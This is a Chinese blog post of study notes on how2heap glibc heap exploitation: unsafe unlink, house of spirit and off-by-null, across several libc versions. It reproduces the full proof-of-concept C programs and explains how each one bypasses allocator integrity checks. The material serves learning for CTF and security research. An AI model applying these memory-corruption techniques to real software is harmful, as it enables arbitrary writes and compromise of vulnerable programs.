how2heap笔记(2)

unsafe_unlink

libc-2.23

利用条件:1.prevsize位可改 2.size位最后一位可以改为0 3.内存中有一全局变量指向需要unlink的内存

造成的最终结果:该指针指向其地址-3个字长处

unlink的检查:检查fwd->bk == p bck -> fd ==p

uint64_t *chunk0_ptr;

int main()
{
    setbuf(stdout, NULL);
    printf("Welcome to unsafe unlink 2.0!\n");
    printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
    printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
    printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;

    printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    printf("We create a fake chunk inside chunk0.\n");
    printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
    printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

    printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr[0] = malloc_size;
    printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
    printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
    chunk1_hdr[1] &= ~1;

    printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
    free(chunk1_ptr);

    printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);

    // sanity check
    assert(*(long *)victim_string == 0x4141414142424242L);
}

首先malloc一个堆块,然后再malloc一个smallbin大小的堆块,紧接着,我们需要构造的fakechunk在堆块0中,且大小等于第一次malloc的大小。紧接着,如下图第三行,构造假链表。这个需要根据之前提到的全局变量来构造,从而绕过unlink的检查。

紧接着,改chunk1的prevsize和prev-inuse位

最后freechunk1就行了。

libc-2.27

这个唯一改动的就是chunk1的大小,应该要大于tcache的最大大小(0x400),这样就可以直接放进unsortedbin了。

glibc 2.23

  1. 检查p和其前后的chunk是否构成双向链表

  1. 检查p和其前后的large chunk的nextsize域是否构成双向链表

glibc 2.27 2.29 新增加一下保护

  1. 检查p的 size 是否等于物理相邻的后一个chunk的 pre_size

house of spirit

libc-2.23

适用于:

1.在某处可以构建两个fakechunk

2.可以溢出改chunk的fd指针

就相当于做一个假的chunk然后改fd指针,使其继续malloc可以到假chunk处。

需要绕过的检查:

  1. 如果解题思路是先free,再给他malloc回来,这个时候就需要绕过free和malloc函数两个的检查

free到fastbin:

a.地址和size位需要对对齐

b. ISMMAP 位不能为 1

c.需要有一个相邻的nextchunk,且prev_inuse位为1

从fastbin malloc:

a.prev_inuse必须等于1

b.必须满足该fastbinsize大小

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

    fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
    malloc(1);

    fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
    unsigned long long *a;
    // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

    fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1] = 0x40; // this is the size

    fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
    fake_chunks[9] = 0x1234; // nextsize

    fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
    fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
    a = &fake_chunks[2];

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));

注意,第一个fakechunk的后三位中的第二位需要为0。

off-by-null

适用:就是说有一个字节的溢出,且溢出字节为null时。

造成结果:overlapping

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>


int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("Welcome to poison null byte 2.0!\n");
    printf("Tested in Ubuntu 16.04 64bit.\n");
    printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
    printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
    uint8_t* b1;
    uint8_t* b2;
    uint8_t* d;
    void *barrier;

    printf("We allocate 0x100 bytes for 'a'.\n");
    a = (uint8_t*) malloc(0x100);
    printf("a: %p\n", a);
    int real_a_size = malloc_usable_size(a);
    printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
        "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

    /* chunk size attribute cannot have a least significant byte with a value of 0x00.
     * the least significant byte of this will be 0x10, because the size of the chunk includes
     * the amount requested plus some amount required for the metadata. */
    b = (uint8_t*) malloc(0x200);

    printf("b: %p\n", b);

    c = (uint8_t*) malloc(0x100);
    printf("c: %p\n", c);

    barrier =  malloc(0x100);
    printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
        "The barrier is not strictly necessary, but makes things less confusing\n", barrier);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);

    // added fix for size==prev_size(next_chunk) check in newer versions of glibc
    // https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
    // this added check requires we are allowed to have null pointers in b (not just a c string)
    //*(size_t*)(b+0x1f0) = 0x200;
    printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
        "the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
    // we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
    // which is the value of b.size after its first byte has been overwritten with a NULL byte
    *(size_t*)(b+0x1f0) = 0x200;

    // this technique works by overwriting the size metadata of a free chunk
    free(b);
    
    printf("b.size: %#lx\n", *b_size_ptr);
    printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
    printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
    printf("b.size: %#lx\n", *b_size_ptr);

    //uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
    //printf("c.prev_size is %#lx\n",*c_prev_size_ptr);

    // This malloc will result in a call to unlink on the chunk where b was.
    // The added check (commit id: 17f487b), if not properly handled as we did before,
    // will detect the heap corruption now.
    // The check is this: chunksize(P) != prev_size (next_chunk(P)) where
    // P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
    // next_chunk(P) == b-0x10+0x200 == b+0x1f0
    // prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
    printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
        *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x100);

    printf("b1: %p\n",b1);
    //printf("Now we malloc 'b1'. It will be placed where 'b' was. "
        //"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
    printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
        "before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
    printf("We malloc 'b2', our 'victim' chunk.\n");
    // Typically b2 (the victim) will be a structure with valuable pointers that we want to control

    b2 = malloc(0x80);
    printf("b2: %p\n",b2);

    memset(b2,'B',0x80);
    printf("Current b2 content:\n%s\n",b2);

    printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

    free(b1);
    free(c);
    
    printf("Finally, we allocate 'd', overlapping 'b2'.\n");
    d = malloc(0x300);
    printf("d: %p\n",d);
    
    printf("Now 'd' and 'b2' overlap.\n");
    memset(d,'D',0x300);

    printf("New b2 content:\n%s\n",b2);

    printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
        "for the clear explanation of this technique.\n");

    assert(strstr(b2, "DDDDDDDDDDDD"));


先插入四个堆块

将这四个堆块称为0,1,2,3。

接下来,我们要做的是free掉1,然后用0的off-by-null来做到:1.先将2的pre位设置为0x210,接着将2的prev-inuse位设置为0。2.接着将1的size减少10。

注意第二张图第一个位置需要为0x200,为什么,因为当合并时触发unlink的话,需要nextchunk prevsize == chunksize(p)

然后接下来malloc一个大于fastbin范围内的堆块4,再malloc一个堆块5(按需)。这两个堆块都会在堆块1里面。

然后我们free4,3,会发现3的prevsize位会使堆块寻址寻到4的地方,然后进行合并,然后如果再申请一个2大小的堆块,就会把5overlapping。

但是感觉这个方法不太对,因为free了之后那个0x200无法给他填写进去。所以我在网上找了一个更普遍的方法。

首先add三个chunk,然后将chunk3溢出一个字节为\x00,并且设置presize使其能够寻址到chunk0,再在chunk3内容中伪造好另一个chunk头,使其不会出现报错。然后free掉chunk3和chunk1即可。

libc-2.27

改变的地方是chunk的大小需要控制,因为不能使其进入tcache。

libc-2.31

libc-2.31的off-by-null会复杂很多,也让我了解了largebin和smallbin的基本情况,先说说,这里放一个链接:(45条消息) ptmalloc代码浅析2(small bin/large bin结构图)_zero_lee的博客-CSDN博客,这是另一个师傅的博客,里面比较清楚的讲解了largebin和smallbin内的指针布局情况。

然后经过自己调试,也发现当把largebin和smallbin free再malloc回来其中指针都会保留,这样就可以进行利用

经过查阅资料,发现libc-2.29之后向低地址合并多了一个检查,所以以前libc-2.23的方法就不行了。

if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

这块真给我磨了两天,我们讨论的是保护全开,并且off-by-one发生在add上,没有show函数的情况。

放一下原文链接:[原创]glibc2.29下的off-by-null-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值